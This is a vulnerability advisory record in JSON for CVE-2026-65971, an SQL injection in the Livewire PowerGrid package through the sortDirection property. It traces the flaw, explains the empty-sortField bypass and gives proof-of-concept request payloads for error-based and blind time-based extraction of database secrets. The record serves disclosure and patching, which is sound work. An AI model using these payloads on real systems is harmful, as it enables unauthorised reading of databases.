{"id":"CVE-2026-65971","aliases":["CVE-2026-65971","GHSA-7fgc-3h6c-698r"],"related":[],"kind":"vulnerability","state":"published","title":"Livewire PowerGrid: SQL Injection through the public `sortDirection` Livewire property in the `naturalSort` order-by path","summary":"Livewire PowerGrid creates data tables based on Laravel Livewire library. From version 6.0.0 to before version 6.10.4, the public Livewire property sortDirection is interpolated verbatim into a raw SQL ORDER BY clause and is not restricted to asc/desc, allowing arbitrary SQL injection through POST /livewire/update. This issue has been patched in version 6.10.4.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Livewire PowerGrid creates data tables based on Laravel Livewire library. From version 6.0.0 to before version 6.10.4, the public Livewire property sortDirection is interpolated verbatim into a raw SQL ORDER BY clause and is not restricted to asc/desc, allowing arbitrary SQL injection through POST /livewire/update. This issue has been patched in version 6.10.4.","source":"cvelist"},{"lang":"en","text":"## [Description]\n\nThe public Livewire property `sortDirection` is interpolated **verbatim** into a\nraw SQL `ORDER BY` clause and is not restricted to `asc`/`desc`, allowing arbitrary\nSQL injection through `POST /livewire/update`.\n\n**Data flow**\n\n- **Source** — `src/Concerns/Sorting.php`: `public string $sortDirection;` is a\n  Livewire-bound property with no whitelist/validation (it is only assigned and\n  flipped by `reverseSort()`), so it is fully attacker-controlled via the standard\n  Livewire update endpoint.\n- **Taint** — `src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php`,\n  `resolvePlaceholders()`:\n  ```php\n  preg_replace_callback('/\\{(\\w+)\\}/', fn ($m) => data_get($this->component, $m[1], ''), $sql);\n  ```\n  substitutes `{sortDirection}` with the raw property value.\n- **Sink** — `src/DataSource/Support/Sql.php::getSortSqlByDriver()` builds the\n  `naturalSort` expression, e.g. `\"... {sortDirection}\"` / `\"CAST(...) {sortDirection}\"`,\n  which is passed to `orderByRaw()`. The tainted direction lands directly in the SQL\n  string.\n\n**Why the framework mitigation does not apply (the bypass)**\n\nNormally the `Sorting` pipeline calls `orderBy(resolveSortField($sortField), $sortDirection)`,\nand Laravel validates the direction (`Order direction must be \"asc\" or \"desc\".`).\nSetting **`sortField=\"\"`** makes the `Sorting` pipeline skip (`filled('')` is false),\nso the validating `orderBy` never runs — but the `ColumnRawQueries` pipeline still\napplies the `naturalSort` `orderByRaw` unconditionally with the attacker-controlled\n`{sortDirection}`. The result is arbitrary SQL in the `ORDER BY`, bypassing Laravel's\ndirection validation entirely.\n\n## [Proof of Concept]\n\nLab: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10 + MariaDB, with a\nPowerGrid table whose `name` column uses `->naturalSort(true)`.\n\nRequest (standard Livewire update; CSRF token taken from the page as any Livewire call):\n```\nPOST /livewire/update\ncomponents[0].snapshot = <the PowerGrid component snapshot from the page>\ncomponents[0].updates  = {\"sortField\": \"\", \"sortDirection\": \"asc, (SELECT SLEEP(3))\"}\n```\n\nObserved results:\n\n- **Error-based** (HTTP 500, `SQLSTATE[HY000] 1105`) — the injected subquery reaches\n  the database verbatim:\n  ```\n  select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, ...) ...) asc,\n    (select extractvalue(1, concat(0x7e, (select secret from rooms limit 1)))) limit 3 offset 0\n  ```\n- **Blind time-based** (arbitrary data extraction):\n  ```\n  asc                                 -> 0.02s   (baseline)\n  asc, (SELECT SLEEP(3))              -> 9.04s   (injection executes)\n  asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')  -> 9.03s  (TRUE — value leaks)\n  ... LIKE 'ZZZ%'                     -> 0.02s   (FALSE — boolean oracle)\n  ```\n\nA parameterised PoC script is available and can be attached privately on request.\n\n## [Impact]\n\nAny actor who can reach a PowerGrid table using `naturalSort` and control the\n`sortDirection` property can read arbitrary data from the database (other tables,\npassword hashes, tokens) via a blind boolean/time-based oracle. Stacked queries are\nblocked by the default PDO MySQL driver, so impact is read-oriented (confidentiality),\nbut complete for readable data. In multi-tenant/admin apps this enables full\ncross-tenant data exfiltration.","format":"markdown","source":"ghsa"}],"published":"2026-11-11T21:49:12.607Z","modified":"2026-11-25T20:00:04.111Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","score":7.6,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","score":7.6,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","score":7.6,"rating":"HIGH"}],"cwes":["CWE-89"],"affected":[{"ranges":[{"version":">= 6.0.0, < 6.10.4","status":"affected"}],"vendor":"Power-Components","product":"livewire-powergrid","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"6.0.0","status":"affected","fixed":"6.10.4"}],"ecosystem":"Packagist","package":"power-components/livewire-powergrid","purl":"pkg:composer/power-components/livewire-powergrid","source":"ghsa"}],"references":[{"url":"https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/Power-Components/livewire-powergrid/commit/13d047bf1637e82926e6914aa3ca0f29a4c9704a","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65971","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/Power-Components/livewire-powergrid","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-11-13T18:14:36.111Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-65971","url":"https://www.cve.org/CVERecord?id=CVE-2026-65971","licence":"CVE Terms of Use","modified":"2026-11-13T18:17:27.998Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-7fgc-3h6c-698r","url":"https://github.com/advisories/GHSA-7fgc-3h6c-698r","licence":"CC-BY-4.0","modified":"2026-11-25T20:00:04.111Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-65971","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65971","licence":"Public domain","modified":"2026-11-13T19:19:33.860Z"}],"updatedAt":"2026-11-25T22:59:50.453Z","epss":{"score":0.00399,"percentile":0.36313,"date":"2026-12-01T12:00:22.000Z"}}